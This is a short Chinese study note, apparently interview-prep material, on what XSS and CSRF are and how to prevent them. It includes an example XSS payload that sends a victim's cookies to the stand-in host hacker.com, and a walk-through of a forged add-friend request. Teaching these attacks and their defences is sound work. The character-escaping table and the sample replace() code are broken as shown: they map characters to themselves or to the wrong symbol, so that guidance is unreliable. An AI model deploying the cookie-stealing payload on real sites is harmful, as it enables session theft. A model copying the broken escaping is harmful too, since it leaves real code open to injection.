1.XSS 是什么?如何防范
网页设置了提交信息的模式为拼接HTML,若遭到恶意用户提交一个script脚本,就会运行,此时可能会遭受攻击。
防范:尽量少使用拼接HTML(innerHTML),可以使用 innerText 或者textContent
举例
div.innerHTML = userComment
// userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 恶意就被执行了,这就是 XSS
预防
- 不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
- 如果你一样要用 innerHTML,字符过滤
把 < 替换成 <
把 > 替换成 >
把 & 替换成 &
把 ’ 替换成 '
把 ’ 替换成 "
代码 div.innerHTML = userComment.replace(/>/g, ‘<’).replace…
- 使用 CSP Content Security Policy
2. CSRF是什么?如何防范 参考
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery), CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给攻击站点,从而在并未授权的情况下执行在权限保护之下的操作。
- 过程
- 用户在 qq.com 登录
- 用户切换到 hacker.com(恶意网站)
- hacker.com 发送一个 qq.com/add_friend 请求,让当前用户添加 hacker 为好友。
- 用户在不知不觉中添加 hacker 为好友。
- 用户没有想发这个请求,但是 hacker 伪造了用户发请求的假象。
-
避免
目前防御 CSRF 攻击主要有三种策略:
- 验证 HTTP Referer 字段;
- 在请求地址中添加 token 并验证;
- 在 HTTP 头中自定义属性并验证。